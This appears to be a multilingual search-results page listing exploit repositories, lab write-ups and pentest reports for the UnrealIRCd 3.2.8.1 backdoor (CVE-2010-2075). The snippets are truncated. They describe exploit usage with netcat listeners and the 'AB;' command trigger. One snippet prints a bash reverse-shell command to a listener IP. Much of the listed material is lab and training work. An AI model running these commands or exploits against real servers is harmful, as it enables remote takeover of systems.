126 matches found
UnrealIRCd-3.2.8.1-Backdoor-Command-Execution
UnrealIRCd 3.2.8.1 バックドア コマンド実行 UnrealIRCd 3.2.8.1 のバックドアを利用したコマンド実行エクスプロイト Python 3 版 CVE-2010-2075。 説明 UnrealIRCd バージョン 3.2.8.1 には、リモート攻撃者が任意のコマンドを実行できるトロイの木馬が含まれています CVE-2010-2075。 このスクリプトの作成にあたり、Metasploit のペイロード payload/cmd/unix/reverseperl を参考にしました。 使用方法 リスニングホストで Netcat リスナーを起動します:...
cve-2010-2075-analysis
CVE-2010-2075 – Backdoor de Ejecución Remota de Código en UnrealIRCd Resumen Este repositorio documenta el análisis y la explotación de CVE-2010-2075, una vulnerabilidad de backdoor que afecta a UnrealIRCd 3.2.8.1. La vulnerabilidad se reprodujo en un entorno de laboratorio controlado utilizando...
UnrealIRCd-3.2.8.1-Backdoor-Command-Execution
UnrealIRCd-3.2.8.1-后门命令执行 用于利用 CVE-2010-2075 漏洞在 UnrealIRCd 服务中建立后门的脚本 用法 用法：IRCBackDoorCommandExecution.py -h targethost targetport attackerhost attackerport...
metasploitable2-exploitation-metasploit
使用Metasploit攻击Metasploitable2：VSFTPD、Samba等 一份利用Metasploit框架进行渗透测试的实操指南——从PostgreSQL数据库设置和dbnmap扫描开始，通过vsftpd、Samba和UnrealIRCd获取三个root shell，再到使用Netcat提取凭据。 概述 本仓库记录了在一个隔离的VirtualBox实验室中对Metasploitable2进行的完整Metasploit攻击过程。涵盖主题： 设置带PostgreSQL后端和工作区的Metasploit 运行dbnmap将扫描结果直接保存到数据库 利用vsftpd...
CVE-2010-2075
CVE-2010-2075 - UnrealIRCd 3.2.8.1 バックドア Bash PoC 説明 UnrealIRCd 3.2.8.1 のソースtarballに導入されたバックドアのBash PoC。 改ざんされたバイナリは、IRCポートに送信されたAB;で始まる任意のコマンドを実行します。 使用方法 root@kitploit: chmod +x exploit.sh ./exploit.sh 例: root@kitploit: ./exploit.sh 192.168.1.10 6667 192.168.1.20 4444 実行前にリスナーをセットアップしてください:...
OffensivePascal-CVE-2010-2075
CVE-2010-2075 FreePascal 实现的 CVE-2010-2075 漏洞利用 漏洞信息 UnrealIRCd 3.2.8.1 通过向任意监听服务发送 "AB; command" 实现远程代码执行（RCE）。发送的任何命令都将以 UnrealIRCD 运行的用户身份执行。 此实现会向你的监听器发起一个反向 shell。 步骤 1 启动一个监听器，例如 netcat -lvp 4444 步骤 2 执行漏洞利用 ./exploit ，其中 host ip 和 port 是你的监听器运行的地址和端口。 依赖要求 Synapse。如果你没有安装，可以通过 OPM 进行安装。...
CVE-2010-2075-UnrealIRCd-3.2.8.1
CVE-2010-2075 针对 CVE-2010-2075 的漏洞利用。此漏洞利用允许在 UnrealIRCd 3.2.8.1 中远程执行命令。 要求 optparse, signal 用法 你可以发送要执行的命令，但有时不会收到响应；这时只需发送一个反向 shell，然后等待它连接回来。 root@kitploit: python3 CVE-2010-2075.py -t 10.0.2.119 -p 6667 -c 'bash -c "bash -i & /dev/tcp/10.0.2.48/443 0&1"' Creating connection Creating payload...
unrealircd3.2.8.1-local-exploit
已在 Metasploitable 3 上测试 用法 Ruby 在攻击者的 shell 上 root@kitploit: nc -nlvp 1111 在受害者的 shell 上 root@kitploit: ruby exploit.rb 127.0.0.1 攻击者 shell 上的预期输出 root@kitploit: listening on any 1111 ... connect to 192.168.56.102 from UNKNOWN 192.168.56.105 48144 bobafett Python 在受害者的 shell 上 root@kitploit:...
unrealircd-backdoor-pentest-report
🛡️ Prueba de Penetración del Backdoor de UnrealIRCd Un proyecto controlado de pruebas de penetración centrado en identificar, explotar y remediar el backdoor de UnrealIRCd 3.2.8.1 CVE-2010-2075 en un entorno de entrenamiento aislado. Descargo de responsabilidad: Este proyecto se llevó a cabo...
Metasploit2-pentest
Metasploitable2 Penetration Test Lab Author: Lillian Jone...
Exploit for Improper Input Validation in Unrealircd
CVE-2010-2075 – UnrealIRCd Backdoor Remote Code Execution...
System-Exploitation-Compromising
💀 System Exploitation & Compromising CAP 6135 – Cyber Lab...
ai-pentest-lab
AI Pentest Lab Demo de segurança ofensiva com IA para palestr...
pentest-report-clinic-sangabriel
Penetration Test Report — Clínica San Gabriel Overview Fu...
Exploit for Improper Input Validation in Unrealircd
CVE-2...
Exploit for Improper Input Validation in Unrealircd
UnrealIRCD 3.2.8.1 Backdoor Exploit A clean, flexible exploit...
EUVD-2004-0678
Malware in sbrugna...
EUVD-2006-1218
Malware in sbrugna...